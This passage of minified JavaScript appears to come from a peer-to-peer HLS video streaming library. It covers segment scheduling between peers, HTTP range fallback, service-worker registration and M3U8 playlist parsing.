t=performance.now()-this.timeStart;if(t<1500)return!0;if(t<2500&&this.timeReceivePiece>0)return!0;if(0===this.timeReceivePiece||e<=0)return!1;let r=0,i=0;[this.forwardPeer,this.reversePeer].forEach((e=>{e&&(r+=e.currentLoadSpeed(),i+=e.loadedBytes())}));const n=(this.pieceMsg.size-i)/e;return this.logger.info(`syn remainTime ${e} sinceStart ${t} speed ${r} required ${n}`),r>=n}getFromPeerId(){const{forwardPeer:e,reversePeer:t}=this;return this.isFull()?`${e.remotePeerId}:${t.remotePeerId}`:e?`${e.remotePeerId}`:t?`${t.remotePeerId}`:""}_loadRemainBufferByHttp(){const[e,t]=this.getPartialBuffer(),{size:r,sn:i,level:n,seg_id:s}=this.pieceMsg;if(null===e&&null===t)return void this.emit(hls_next_events.SYN_ERROR,this.pieceMsg);const a=this.rangeStart+(e?e.byteLength:0),o=this.rangeEnd>0?this.rangeEnd-1:0,l=calRangeWithDoubleBuffer(e,t,r,a,o);this.logger.info(`continue download ${n}-${i} from ${this.url} range: ${l}`),performRangeRequest(this.url,l,this.xhrSetup).then((a=>{let o=utils_buffer.l.from(a),l=utils_buffer.l.concat([e,o,t].filter((e=>utils_buffer.l.isBuffer(e))));if(l.byteLength!==this.pieceMsg.size)return this.logger.error(`http partial download size ${l.byteLength} mismatch`),void this.emit(hls_next_events.SYN_ERROR,this.pieceMsg);let h=new Uint8Array(l).buffer;const d=new core_segment(i,s,h,this.getFromPeerId(),n),u=r/(performance.now()-this.timeStart);this.emit(hls_next_events.SYN_OUTPUT,d,{speed:u,http:o.byteLength,p2p:(e?e.byteLength:0)+(t?t.byteLength:0)})})).catch((e=>{this.logger.error(`http partial download error ${e}`),this.emit(hls_next_events.SYN_ERROR,this.pieceMsg)}))}_print(){const{level:e,sn:t}=this.pieceMsg;this.logger.info(`syn parallel loading ${e}-${t}`)}}const MIN_P2P_LOAD_TIME=2,VOD_MAX_PREFETCH_COUNT=150,Live_MAX_PREFETCH_COUNT=10;class Scheduler extends scheduler_base{constructor(e,t){super(e,t),this.bitset=new BitsetManager(t.live||!1),this.bitCounts=new BitCountsManager,this.requestingMap=new requesting_map_RequestingMap,this.allowP2pLimit=t.httpLoadTime+MIN_P2P_LOAD_TIME,this.playlistInfo=new Map,this.loadedPeerNum=0,this.isUploader=!1,this.isReceiver=!1,this.targetPeers={},this.mBufferedDuration=0,this.sequential=!0,this.loadingSegId="",this.loadingSN=0,this.currPlaySN=0,this.currLostSN=-1,this.nextLostSN=-1,this.config.live?this.maxPrefetchCount=Live_MAX_PREFETCH_COUNT:(this.maxPrefetchCount=VOD_MAX_PREFETCH_COUNT,this.startCheckPeersTimer())}handshakePeer(e){this._setupDC(e),e.sendMetaData(this.bitset.allArray(),!0,this.peersNum)}_setupDC(e){super._setupDC(e),e.on(hls_next_events.DC_HAVE,(t=>{if(e.bitset&&t.sn>=0){const{sn:r,level:i,complete:n}=t;this.bitset.has(r,i)||this.bitCounts.incre(r,i);const s=n?SegmentState.COMPLETE:SegmentState.PARTIAL_FORWARD;e.bitset.add(r,i,s),this.emit(hls_next_events.SCH_DCHAVE,t.seg_id),e.isAvailableUrgently&&this._handleDCHave(e,r,i,s)}})).on(hls_next_events.DC_HAVE_REVERSE,(t=>{if(e.bitset&&t.sn>=0){const{sn:r,level:i}=t;this.bitset.has(r,i)||this.bitCounts.incre(r,i),e.bitset.hasCompleteOr(r,i,SegmentState.PARTIAL_REVERSE)||e.bitset.add(r,i,SegmentState.PARTIAL_REVERSE),this.emit(hls_next_events.SCH_DCHAVE,t.seg_id),e.isAvailableUrgently&&this._handleDCHave(e,r,i,SegmentState.PARTIAL_REVERSE)}})).on(hls_next_events.DC_LOST,(t=>{if(!e.bitset)return;const{sn:r,level:i}=t;e.bitset.has(r,i)&&(e.bitset.delete(r,i),this.bitCounts.decre(r,i))})).on(hls_next_events.DC_PIECE,(e=>{this.notifyAllPeers(e.sn,e.level,e.seg_id,e.reverse?SegmentState.PARTIAL_REVERSE:SegmentState.PARTIAL_FORWARD)})).on(hls_next_events.DC_PIECE_NOT_FOUND,(t=>{const{sn:r,level:i}=t;e.bitset.delete(r,i),this.bitCounts.decre(r,i),e.checkIfNeedChoke(!0)})).on(hls_next_events.DC_REQUEST,(t=>{const{logger:r}=this,{sn:i,level:n,reverse:s}=t;this.isUploader=!0;let a=t.seg_id;a||(a=this.bufMgr.getSegIdBySN(i));const o=this.requestingMap.get(i,n);let l=!1;o&&o.isDownloading()&&(l=s&&o.hasReversePeer||!s&&o.hasForwardPeer);const h=this.bufMgr.getSegById(a);if(h)r.info("found seg from bufMgr"),h.level===n?e.sendBuffer(h.sn,h.segId,h.data,{from:"SegmentFromCache",level:h.level,reverse:s}):e.sendPieceNotFound(i,a,{level:n});else if(l){r.info(`synthesizer had ${o.loadedPackets()} packets, wait remain from upstream ${o.getFromPeerId()}`);const t=s?o.reversePeer:o.forwardPeer;e.sendPartialBuffer(t.pieceMsg,t.bufArr,{from:o.isFull()?"WaitPartialSingle":"WaitPartialDouble"}),function(e,t,r){e.addStreamListener(r,((e,r,i,n,s)=>{i?t.sendMsgPieceAbort(n):t.send(n),s&&(t.uploading=!1)}))}(o,e,s)}else r.info(`peer request ${i} wait for seg`),this.bufMgr.once(`${hls_next_events.BM_ADDED_SN_}${i}`,(t=>{t&&t.level===n?(r.info(`peer request notify seg ${t.sn}`),e.sendBuffer(t.sn,t.segId,t.data,{from:"NotifySegment",level:t.level,reverse:s})):e.sendPieceNotFound(i,a,{level:n})}))}))}handleMetaData(e,t){if(t.field){e.bitset=new BitsetManager(this.config.live,t.field);for(let e in t.field){const r=Number(e);if(r<0)continue;t.field[r].forEach((e=>{this.bitset.has(e,r)||this.bitCounts.incre(e,r)}))}this.addPeer(e),this.downloadOnly&&this.chokePeerRequest(e)}}peersHas(e,t){return this.bitCounts.has(e,t)}deletePeer(e){if(this.peerManager.hasPeer(e.remotePeerId)){const t=e.bitset.allArray();for(let e in t){const r=Number(e),i=t[r];i&&i.forEach((e=>{this.bitCounts.decre(e,r)}))}}this.cleanRequestingMap(e.remotePeerId),super.deletePeer(e)}hasAndSetTargetPeer(e,t,r){const{logger:i,config:n}=this;if(r<=this.allowP2pLimit)return!1;if(this.requestingMap.has(e,t)){const s=this.requestingMap.get(e,t);if(!s)return this._searchAvailablePeers(e,t);if(!s.shouldWaitForRemain(1e3*(r-n.httpLoadTime))){i.warn(`syn prefetch timeout at ${e}`);const r=this.peerManager.getPeersOrderByWeight(),n=findPeersWithState(r,SegmentState.COMPLETE,e,t);if(s.hasReversePeer()){const i=n.concat(findPeersWithState(r,SegmentState.PARTIAL_FORWARD,e,t));if(i.length>0)return this.targetPeers.forwardPeer=i[0],!0}else{const i=n.concat(findPeersWithState(r,SegmentState.PARTIAL_REVERSE,e,t));if(i.length>0)return this.targetPeers.reversePeer=i[0],!0}return!1}return i.info(`prefetch ${e} wait for remain`),!0}return this._searchAvailablePeers(e,t)}_searchAvailablePeers(e,t){if(!this.hasIdlePeers||!this.peersHas(e,t))return!1;const r=this.peerManager.getPeersOrderByWeight();this.logger.info(`searchAvailablePeers ${r.length}`);const[i,n]=getBestPairForDownload(r,e,t);return this.targetPeers={forwardPeer:i,reversePeer:n},[i,n].some((e=>!!e))}reportDCTraffic(e,t,r,i){if(!this.engine.fetcher)return void this.logger.error("DC report failed");const{fetcher:n}=this.engine;let s=r;this.bitset.has(e,t)||n.reportDCTraffic(s,i)}notifyAllPeers(e,t,r,i=SegmentState.COMPLETE){const{live:n}=this.config;if(this.bitset.has(e,t,i))return;const s=generateStateId(e,t,i);let a;i!==SegmentState.PARTIAL_REVERSE&&(a=i===SegmentState.COMPLETE);for(let o of this.peerManager.getPeerValues())if(!o.notifySet.has(s)&&!o.bitset.hasCompleteOr(e,t,i)&&(o.sendMsgHave(e,r,{level:t,reverse:i===SegmentState.PARTIAL_REVERSE,complete:a}),o.notifySet.add(s),n)){const e=20;for(;o.notifySet.size>e;){const e=[...o.notifySet.values()].shift();o.notifySet.delete(e)}}}startCheckPeersTimer(e=1){this.logger.info(`loaded peers ${this.loadedPeerNum} next checkDelay ${e}`),this.loadedPeerNum=0,this.checkTimer||(this.checkTimer=setTimeout((()=>{this.checkPeers(),this.checkTimer=null,this.startCheckPeersTimer(calCheckPeersDelay(this.loadedPeerNum))}),1e3*e))}checkPeers(){if(!this.hasPeers)return;const{logger:e,config:t,engine:r}=this,i=t.live,{currentLevel:n}=r;if(e.info(`currentLevel ${n}`),0===this.bitCounts.size(n))return;if(!i&&this.nextLostSN>=0&&this.nextLostSN>=this.currPlaySN-10)return;if(this.mBufferedDuration<this.allowP2pLimit)return void e.info("low buffer time, skip prefetch");const s=this.peerManager.getPeersOrderByWeight();if(0===s.length)return;const a=[];let{prefetchNum:o,endSN:l,startSN:h}=t;i&&(o=1);let d=0,u=this.loadingSN+1;if(!i)if(this.loadingSN>=l&&!this.bufMgr.overflowed)u=h;else{const e=Math.min(...s.filter((e=>e.endSN>=u)).map((e=>e?e.startSN:1/0)));if(!isFinite(e))return;u<e&&(u=e)}for(;a.length<o&&a.length<s.length&&d<this.maxPrefetchCount;){if(!i&&u>l)return;if(i&&u>this.loadingSN+1)return;if(this.bitset.has(u,n))u++;else{if(u!==this.loadingSN&&this.bitCounts.has(u,n)&&!this.requestingMap.has(u,n))for(let r of s)if(!a.includes(r)&&r.bitset.has(u,n)){const i=r.bitset.getState(u,n);let s;s=i===SegmentState.COMPLETE?0===randomNum(0,1):i===SegmentState.PARTIAL_REVERSE,a.push(r);const o=new Synthesizer(this.logger,u,n,t.httpRangeSupported);this._setupSynthesizer(o),s?o.setReversePeer(r):o.setForwardPeer(r),this.requestingMap.set(u,n,o),r.requestDataBySN(u,!1,{level:n,reverse:s}),e.info(`request prefetch ${u} level ${n} from peer ${r.remotePeerId} downloadNum ${r.downloadNum} reverse ${s}`);break}d++,u++}}this.loadedPeerNum=a.length}onBufferManagerLost(e,t,r,i){this.currLostSN=e,r&&(this.nextLostSN=r),this.bitset.delete(e,i),this.bitCounts.delete(e,i)}cleanRequestingMap(e){const t=this.peerManager.getPeer(e);if(t)for(let[r,i]of this.requestingMap.internalMap){const n=r.split("-"),s=Number(n[1]),a=Number(n[0]);i.hasPeerId(e)&&(this.logger.info(`delete ${r} in requestingMap`),i.deletePeer(t),this.bitCounts.decre(s,a),t.bitset.delete(s,a))}}shouldWaitForNextSeg(){let e;return e=!this.isUploader&&(!!this.isReceiver||randomNum(0,100)>20),this.isReceiver=this.isUploader=!1,e}updateLoaded(e,t){this.bitset.hasCompleteOr(e,t)||(this.bitset.add(e,t,SegmentState.COMPLETE),this.bitCounts.delete(e,t))}broadcastPlaylist(e,t){if(!this.config.live)return;const r=getMaxSequence(t);for(let i of this.peerManager.getPeerValues())i.sendMsgPlaylist(e,t,r);this.playlistInfo.set(e,{seq:r})}getPlaylistFromPeer(e){if(!this.config.live)return null;const{seq:t}=this.playlistInfo.get(e);for(let r of this.peerManager.getPeerValues()){const i=r.getLatestPlaylist(e,t);if(i)return i}return null}getBufferedDuration(){let{media:e}=this.engine;if(!e){if(this.logger.info("try get video element"),e=tryGetVideoElement(this.config.videoElem),!e)return 5;this.engine.media=e}let t=0,r=e.currentTime,i=e.buffered;for(let e=i.length-1;e>=0;e--)if(r>=i.start(e)&&r<=i.end(e)){t=i.end(e)-r;break}return this.logger.info(`bufferedDuration ${t}`),this.mBufferedDuration=t,t>0?t:0}destroy(){super.destroy(),clearTimeout(this.checkTimer)}_notifySynthesizer(e,t,r,i,n,s=!0){const a=this.requestingMap.get(r,i);function o(n,s){s?e.requestDataById(t,r,!0,{level:i,reverse:n}):e.requestDataBySN(r,!1,{level:i,reverse:n})}a&&(a.hasForwardPeer()||n!==SegmentState.PARTIAL_FORWARD&&n!==SegmentState.COMPLETE||(a.setForwardPeer(e),o(!1,s)),a.hasReversePeer()||n!==SegmentState.PARTIAL_REVERSE&&n!==SegmentState.COMPLETE||(a.setReversePeer(e),o(!0,s)))}_setupEngine(){}}const MIN_TIME_FOR_LOAD=7.5,MAX_TIME_FOR_WAIT=4;class HlsSwScheduler extends Scheduler{constructor(e,t){super(e,t),this.server=t.fetcher,this.p2pEnabled=e.p2pEnabled,this.resolveMap=new Map,this.dcDownloadTimeout=10,this.fragMap=new Map,this.segmentId=t.segmentId}async handleGetMediaData(e,t){const{logger:r,config:i}=this;let{url:n,range:s}=e;s&&(n=`${n}|${s}`);const a=this.fragMap.get(n);if(!a)return r.info(`cannot get frag ${n}`),t.postMessage({action:hls_next_events.SW_GET_MEDIA});this.engine.currentLevelIndex=a.level;const{sn:o,baseurl:l,level:h}=a,d=this.segmentId(String(h),o,e.url,s);this.loadingSN=o,this.loadingSegId=d;const u=this.bufMgr.getSegById(d);if(u)return r.info(`bufMgr found seg sn ${o} segId ${d}`),a.loaded=u.data.byteLength,a.fromPeerId=u.fromPeerId,this.engine.emit(hls_next_events.FRAG_LOADED,{url:e.url,sn:o,level:h,segId:d,loaded:a.loaded,duration:a.duration,byP2p:!!u.fromPeerId,fromPeerId:u.fromPeerId}),this._onFragLoaded(e.url,a),t.postMessage({action:hls_next_events.SW_GET_MEDIA,data:{url:e.url,buffer:u.data,incomplete:!1}});if(this.resolveMap.has(o))return r.warn(`${o} is requesting, fallback`),void t.postMessage({action:hls_next_events.SW_GET_MEDIA});const c=this.getBufferedDuration();if(this.hasAndSetTargetPeer(o,h,c)){await this._loadFragByP2p(a,t,o,d,e.url,h)||t.postMessage({action:hls_next_events.SW_GET_MEDIA})}else if(i.live&&void 0===this.waitTimer&&c>MIN_TIME_FOR_LOAD&&this.shouldWaitForNextSeg()){let i,n=c-MIN_TIME_FOR_LOAD;n>MAX_TIME_FOR_WAIT&&(n=MAX_TIME_FOR_WAIT);const s=async r=>{d===r&&(this.off(hls_next_events.SCH_DCHAVE,s),clearTimeout(this.waitTimer),this.waitTimer=void 0,this.hasAndSetTargetPeer(o,h,c)&&(i=await this._loadFragByP2p(a,t,o,d,e.url,h)),i||t.postMessage({action:hls_next_events.SW_GET_MEDIA}))};r.info(`wait peer have ${d} for ${n}s`),this.on(hls_next_events.SCH_DCHAVE,s),this.waitTimer=setTimeout((()=>{this.off(hls_next_events.SCH_DCHAVE,s),t.postMessage({action:hls_next_events.SW_GET_MEDIA}),this.waitTimer=void 0}),1e3*n)}else t.postMessage({action:hls_next_events.SW_GET_MEDIA})}async _loadFragByP2p(e,t,r,i,n,s){const{logger:a}=this;a.info(`p2p load sn ${r} segId ${i} level ${s}`);const o=await this.load(r,i,s);if(o&&(o.data||o.incomplete)){const{data:l,incomplete:h,fromPeerId:d,bufferLeft:u,bufferRight:c,size:f}=o;if(h)a.info(`p2p loaded partial segId ${i} level ${s} size ${f}`),e.loaded=(u?u.byteLength:0)+(c?c.byteLength:0);else{if(a.info(`p2p loaded segId ${i} level ${s} size ${l.byteLength} incomplete ${h}`),!this.bufMgr.hasSegOfId(i)){const e=new core_segment(r,i,l,d,s);a.info(`bufMgr putSeg ${r} level ${s}`),this.bufMgr.putSeg(e)}e.loaded=l.byteLength}return e.fromPeerId=d,this.engine.emit(hls_next_events.FRAG_LOADED,{url:n,sn:r,level:s,segId:i,loaded:e.loaded,duration:e.duration,byP2p:!0,fromPeerId:d}),this._onFragLoaded(n,e),t.postMessage({action:hls_next_events.SW_GET_MEDIA,data:{url:n,buffer:l,bufferLeft:u,bufferRight:c,incomplete:h,size:f}}),!0}a.warn(`P2P timeout load segId ${i}`);const l=this.bufMgr.getSegById(i);return!!l&&(a.info(`already loaded seg sn ${r} segId ${i}`),t.postMessage({action:hls_next_events.SW_GET_MEDIA,data:{url:n,buffer:l.data,incomplete:!1}}),!0)}handleMediaData(e,t){const{config:r,logger:i,engine:n}=this;let{url:s,buffer:a,range:o}=e;if(n.rangeTestUrl===s)return void(n.rangeTestUrl="");i.info(`SW_MEDIA url ${s} size ${a.byteLength} range ${o}`),o&&(s=`${s}|${o}`),this.server.reportFlow(a.byteLength);const l=this.fragMap.get(s);if(l){const{sn:t,level:r,baseurl:s}=l,h=this.segmentId(String(r),t,e.url,o);if(this.notifyAllPeers(t,r,h),l.segId=h,l.loaded=a.byteLength,n.emit(hls_next_events.FRAG_LOADED,{url:e.url,sn:t,level:r,segId:h,loaded:l.loaded,duration:l.duration,byP2p:!1}),this._onFragLoaded(e.url,l),!this.bufMgr.hasSegOfId(h)){const e=new core_segment(t,h,a,"",r);this.bufMgr.putSeg(e),i.info(`bufMgr putSeg ${h} level ${r}`)}}t.postMessage({action:hls_next_events.SW_MEDIA})}notifySWMessage(e,t,r){switch(e){case hls_next_events.SW_MEDIA:this.handleMediaData(t,r);break;case hls_next_events.SW_GET_MEDIA:this.handleGetMediaData(t,r);break;default:this.logger.warn(`unknown action ${e}`)}}destroy(){super.destroy(),this.logger.warn("destroy HlsSwScheduler")}_onFragLoaded(e,t){if(this.updateLoaded(t.sn,t.level),!this.engine)return;const{media:r,targetDuration:i}=this.engine;!this.config.live&&r&&i&&(this.currPlaySN=Math.ceil(r.currentTime/i))}load(e,t,r){const{logger:i,config:n}=this;this.isReceiver=!0;let s=this.mBufferedDuration-this.config.httpLoadTime;s>this.dcDownloadTimeout&&(s=this.dcDownloadTimeout);let a=this.requestingMap.get(e,r),o={allowLoadPartial:n.httpRangeSupported};a?a.setExtra(o):(a=new Synthesizer(this.logger,e,r,n.httpRangeSupported,o),this._setupSynthesizer(a),this.requestingMap.set(e,r,a)),a.setTimeout(1e3*s);const{forwardPeer:l,reversePeer:h}=this.targetPeers;l&&(a.setForwardPeer(l),l.requestDataById(t,e,!0,{level:r})),h&&(a.setReversePeer(h),h.requestDataById(t,e,!0,{level:r,reverse:!0}));const d=new Promise((i=>{const n={resolve:i,sn:e,level:r,segId:t,incomplete:!1};this.resolveMap.set(e,n)}));return this.targetPeers={},d}_setupSynthesizer(e){e.on(hls_next_events.SYN_OUTPUT,((t,r)=>{const{config:i,logger:n}=this,{segId:s,sn:a,data:o,level:l}=t,{speed:h}=r,d=this.resolveMap.has(a);if(i.validateSegment(s,o)){this.notifyAllPeers(a,l,s),r.http&&this.engine.fetcher.reportFlow(r.http),r.p2p&&super.reportDCTraffic(a,l,r.p2p,h);const t=e.getFromPeerId();if(d){n.info(`receive criticalSeg seg_id ${s}`);const e=this.resolveMap.get(a);this.resolveMap.delete(a),e.resolve({data:o,fromPeerId:t})}else{if(this.bitset.has(a,l))return;const e=new core_segment(a,s,o,t,l);this.bufMgr.putSeg(e),this.updateLoaded(a,l)}}else if(n.warn(`segment ${s} validate failed`),d){const e=this.resolveMap.get(a);this.resolveMap.delete(a),e.resolve()}this.requestingMap.delete(a,l),i.live&&0===this.resolveMap.size&&this.checkPeers()})).on(hls_next_events.SYN_PARTIAL,((t,r,i)=>{const{sn:n,level:s,size:a}=t;if(this.resolveMap.has(n)){this.resolveMap.get(n).resolve({bufferLeft:r,bufferRight:i,fromPeerId:e.getFromPeerId(),incomplete:!0,size:a}),this.resolveMap.delete(n)}this.requestingMap.delete(n,s)})).on(hls_next_events.SYN_ERROR,(e=>{const{sn:t,level:r}=e;if(this.resolveMap.has(t)){const e=this.resolveMap.get(t);this.resolveMap.delete(t),e.resolve()}this.requestingMap.delete(t,r)}))}_handleDCHave(e,t,r,i){const n=0!==this.resolveMap.size;if(n&&this.resolveMap.has(t)){const{segId:n}=this.resolveMap.get(t);this._notifySynthesizer(e,n,t,r,i)}this.config.live&&!n&&queue_microtask_default()((()=>{this.checkPeers()}))}}const hls_sw_scheduler=HlsSwScheduler;class HlsSwP2pEngine extends Engine{static get name(){return"HlsSwP2pEngine"}static isServiceWorkerSupported(){return"serviceWorker"in navigator}constructor(e={}){super(e),this.swSupported=isSecureContext,this.levels=[],this.currentLevelIndex=0,this.rangeTestUrl="",this.currentSrc="",this.swVersion="",this.media=tryGetVideoElement(this.config.videoElem),HlsSwP2pEngine.isServiceWorkerSupported()||(this.swSupported=!1,console.warn("service worker is not supported"));const{channelIdMaker:t,signalId:r,browserInfo:i}=this.setup();this.onLevelLoaded=e=>{const{config:n}=this,s=e.live;n.live=s,this.targetDuration=e.averagetargetduration,s||(n.trickleICE=!0),this.browserInfo={...i,live:s,abr:this.multiBitrate||void 0,type:"hls_sw"},this.channel=`${t(this.currentSrc)}|${r}[${peer.VERSION}]`,this.setupElectron();const a=this.initLogger();a.info("use HlsSwP2pEngine"),a.info(`engine version: ${engine_base.version} hls-proxy version: ${this.swVersion}`),a.info(`channel ${this.channel}`),s||(n.startSN=e.startSN,n.endSN=e.endSN,a.info(`startSN ${e.startSN} endSN ${e.endSN}`)),this._init(this.channel,this.browserInfo),this.off(hls_next_events.LEVEL_LOADED,this.onLevelLoaded)},this.on(hls_next_events.LEVEL_LOADED,this.onLevelLoaded),this.onManifestParsed=(e,t)=>{this.multiBitrate=e.length>1,this.currentSrc=t,this.off(hls_next_events.MANIFEST_PARSED,this.onManifestParsed)},this.on(hls_next_events.MANIFEST_PARSED,this.onManifestParsed),this.onFragLoaded=({url:e})=>{!this.rangeTested&&this.config.useHttpRange&&(this.rangeTestUrl=e,performRangeRequest(e).then((()=>{this.config.httpRangeSupported=!0,this.config.logger.info("http range is supported")})).catch((()=>{this.config.httpRangeSupported=!1,this.config.logger.warn("http range is not supported")})),this.rangeTested=!0),this.off(hls_next_events.FRAG_LOADED,this.onFragLoaded)},this.once(hls_next_events.FRAG_LOADED,this.onFragLoaded),this.swSupported&&(navigator.serviceWorker.onmessage=e=>{const{action:t,data:r}=e.data;this.logger&&this.logger.info(`engine onmessage action ${t}`);const i=e.ports[0];if(i.postMessage({action:t,pong:!0}),!this.p2pEnabled||!r)return i.postMessage({action:t});switch(t){case hls_next_events.SW_PLAYLIST:this.handlePlaylist(r,i);break;case hls_next_events.SW_GET_PLAYLIST:this.handleGetPlaylist(r,i);break;default:this.config.scheduler&&this.config.scheduler.notifySWMessage(t,r,i)}}),this.config.swAutoRegister&&this.registerServiceWorker().then((function(e){})).catch((e=>{console.warn("ServiceWorker registration failed ",e)}))}get currentLevel(){return this.currentLevelIndex}handlePlaylist(e,t){const{config:r,logger:i}=this,{url:n,text:s,ver:a}=e;if(this.swVersion=a,0!==s.indexOf("#EXTM3U"))return console.warn("no EXTM3U delimiter"),t.postMessage({action:hls_next_events.SW_PLAYLIST});t.postMessage({action:hls_next_events.SW_PLAYLIST,data:{active:!0,debug:i&&i.isDebugLevel,sharePlaylist:!!r.sharePlaylist}}),this._parsePlaylist(s,n.split("?")[0])}_parsePlaylist(e,t){const{config:r,logger:i}=this;if(e.indexOf("#EXTINF:")>0||e.indexOf("#EXT-X-TARGETDURATION:")>0){let i=0;const n=M3U8Parser.parseLevelPlaylist(e,t);this.levels.length>0?(i=this.levels.indexOf(n.url),-1===i?(this.restartP2p(),this.currentSrc=t,i=0):this.currentLevelIndex=i):(""!==this.currentSrc&&t!==this.currentSrc&&this.restartP2p(),this.currentSrc=t,this.levels=[t]),this.emit(hls_next_events.LEVEL_LOADED,n);const{fragMap:s}=r.scheduler;r.live&&s.clear(),n.fragments.forEach((e=>{e.level=i;let t=url_toolkit_default().buildAbsoluteURL(e.baseurl,e.relurl,{alwaysNormalize:!0});const r=e.byteRange;2===r.length&&(t=`${t}|bytes=${r[0]}-${r[1]-1}`),s.set(t,e)})),r.sharePlaylist&&r.scheduler&&r.scheduler.broadcastPlaylist(t.split("?")[0],e)}else{const r=M3U8Parser.parseMasterPlaylist(e,t);""!==this.currentSrc&&this.restartP2p(),r.length>0&&(r.sort(((e,t)=>e.bitrate-t.bitrate)),this.levels=r.map((e=>e.url))),this.emit(hls_next_events.MANIFEST_PARSED,r,t)}}handleGetPlaylist(e,t){const{config:r,logger:i}=this;if(!i)return t.postMessage({action:hls_next_events.SW_GET_PLAYLIST});const{scheduler:n}=r;if(!n)return void i.warn("scheduler not found");const{url:s}=e,a=s.split("?")[0];if(n.playlistInfo.has(a)){const e=n.getPlaylistFromPeer(a);if(e&&e.data){const{data:r,seq:n}=e;return i.info(`got playlist from peer seq ${n}`),t.postMessage({action:hls_next_events.SW_GET_PLAYLIST,data:{text:r}}),void this._parsePlaylist(r,s)}}return t.postMessage({action:hls_next_events.SW_GET_PLAYLIST})}async registerServiceWorker(){const{logger:e,config:t}=this;if(!this.swSupported){let t="sw is not supported";return isHttps||(t="https is required when using ServiceWorker",e.error(t)),Promise.reject(t)}this.media=tryGetVideoElement(this.config.videoElem),this.media||e&&e.warn("no video element found");const{serviceWorker:r}=navigator;return r.getRegistration(t.swFile).then((e=>e||r.register(t.swFile,{scope:t.swScope}).then((e=>{const t=e.installing||e.waiting;return e.active?e:new Promise(((r,i)=>{const n=()=>{"activated"===t.state?(t.removeEventListener("statechange",n),r(e)):"redundant"===t.state&&i("sw is redundant")};t.addEventListener("statechange",n)}))}))))}unregisterServiceWorker(){const{config:e}=this,t="serviceWorker is not registered";return new Promise(((r,i)=>{const{serviceWorker:n}=navigator;n||i(t),n.getRegistration(e.swFile).then((e=>{e?e.unregister().then((()=>{r()})).catch((()=>{i(t)})):i(t)}))}))}_init(e,t){if(!this.p2pEnabled)return;this.bufMgr=new segment_cache(this,this.config);let r=new server(this,this.config.token,encodeURIComponent(e),this.config.announce||"",t);this.fetcher=r,this.config.fetcher=r;let i=new hls_sw_scheduler(this,this.config);i.bufferManager=this.bufMgr,this.tracker=new tracker_client(this,r,i,this.config),this.config.scheduler=this.tracker.scheduler,this.p2pEnabled&&!this.tracker.connected&&this.tracker.resumeP2P(),this.setupWindowListeners()}restartP2p(){this.logger&&this.logger.warn("restart P2P"),this.disableP2P(),this.enableP2P(),this.on(hls_next_events.LEVEL_LOADED,this.onLevelLoaded),this.on(hls_next_events.MANIFEST_PARSED,this.onManifestParsed),this.on(hls_next_events.FRAG_LOADED,this.onFragLoaded)}enableP2P(){return this.p2pEnabled?null:(this.logger&&this.logger.info("enable P2P"),this.config.p2pEnabled=this.p2pEnabled=!0,this)}disableP2P(){this.logger&&this.logger.warn("disable P2P"),this.p2pEnabled&&(this.config.p2pEnabled=this.p2pEnabled=!1,this.tracker&&(this.tracker.stopP2P(),this.tracker={},this.fetcher=null,this.bufMgr.destroy(),this.bufMgr=null)),this.levels=[],this.currentLevelIndex=0,this.lastLevel=0,this.multiBitrate=!1,this.rangeTested=!1,this.rangeTestUrl="",this.currentSrc="",this.media=void 0,this.config.live=!1,this.removeAllListeners(hls_next_events.MANIFEST_PARSED),this.removeAllListeners(hls_next_events.LEVEL_LOADED)}}const hls_sw_p2pengine=HlsSwP2pEngine;function isBlockType(e,t){const r=url_toolkit_default().parseURL(e),i=r.path.substring(r.path.lastIndexOf(".")+1);return-1!==t.indexOf(i)}function createLoadStats(){const e=performance.now();return{trequest:e,tfirst:0,tload:0,aborted:!1,loaded:0,retry:0,total:0,chunkCount:0,bwEstimate:0,loading:{start:e,first:0,end:0},parsing:{start:0,end:0},buffering:{start:0,first:0,end:0}}}function updateLoadStats(e,t){let r,i,n,s,a;const o=performance.now();r=o-300,i=o-200,n=o,e.trequest=r,e.tfirst=i,e.tload=n,e.loading={first:r,start:i,end:n},s=a=t,e.loaded=s,e.total=a}const frag_loader_MIN_TIME_FOR_LOAD=7,frag_loader_MAX_TIME_FOR_WAIT=4.5;class FragLoader extends(events_default()){constructor(e){super(),this.logger=e.logger;const{scheduler:t,fetcher:r,p2pBlackList:i,isHlsV0:n}=window.__p2p_loader__;this.isHlsV0=n,this.bufMgr=e.bufMgr,this.xhrLoader=new e.loader(e),this.p2pEnabled=e.p2pEnabled,this.isLive=e.live,this.scheduler=t,this.fetcher=r,this.segmentId=e.segmentId,this.blockTypes=i,this.forbidden=r.forbidden,this.stats=this.xhrLoader.stats||createLoadStats()}destroy(){this.xhrLoader.destroy()}abort(){this.xhrLoader.abort()}load(e,t,r){const{logger:i,scheduler:n}=this,s=e.frag;this.isHlsV0||(s.stats=this.stats);let a=e.frag.segId;if(!a){let t;e.rangeEnd&&(t="bytes="+e.rangeStart+"-"+(e.rangeEnd-1)),a=e.frag.segId=this.segmentId(String(s.level),s.sn,s.url,t)}if(!s.url||isBlockType(s.url,this.blockTypes))return i.info(`HTTP load blockType ${s.url}`),e.frag.loadByHTTP=!0,this.xhrLoader.load(e,t,r);if(this.forbidden)return;t.maxRetry=2;const o=n.getBufferedDuration();if(this.p2pEnabled&&this.bufMgr.hasSegOfId(a)){i.info(`bufMgr found seg sn ${s.sn} segId ${a} level ${s.level}`);let t=this.bufMgr.getSegById(a);const n=copyBuffer(t.data);let o=new Uint8Array(n).buffer,l={url:e.url,data:o};updateLoadStats(this.stats,t.size),s.loaded=t.size,s.loadByP2P=!0,e.frag.fromPeerId=t.fromPeerId,queue_microtask_default()((()=>{!this.isHlsV0&&r.onProgress&&r.onProgress(this.stats,e,l.data),r.onSuccess(l,this.stats,e)}))}else if(this.p2pEnabled&&n.hasAndSetTargetPeer(s.sn,s.level,o))this.loadFragByP2p(e,t,r,a);else if(i.info(`fragLoader load ${a} at ${s.sn} level ${s.level} buffered ${o}`),this.isLive&&n.hasIdlePeers&&o>frag_loader_MIN_TIME_FOR_LOAD&&n.shouldWaitForNextSeg()){let l=o-frag_loader_MIN_TIME_FOR_LOAD;l>frag_loader_MAX_TIME_FOR_WAIT&&(l=frag_loader_MAX_TIME_FOR_WAIT);const h=i=>{i===a&&(n.off(hls_next_events.SCH_DCHAVE,h),clearTimeout(this.waitTimer),n.hasAndSetTargetPeer(s.sn,s.level,o)?this.loadFragByP2p(e,t,r,a):this.loadFragByHttp(e,t,r,a))};i.info(`wait peer have for 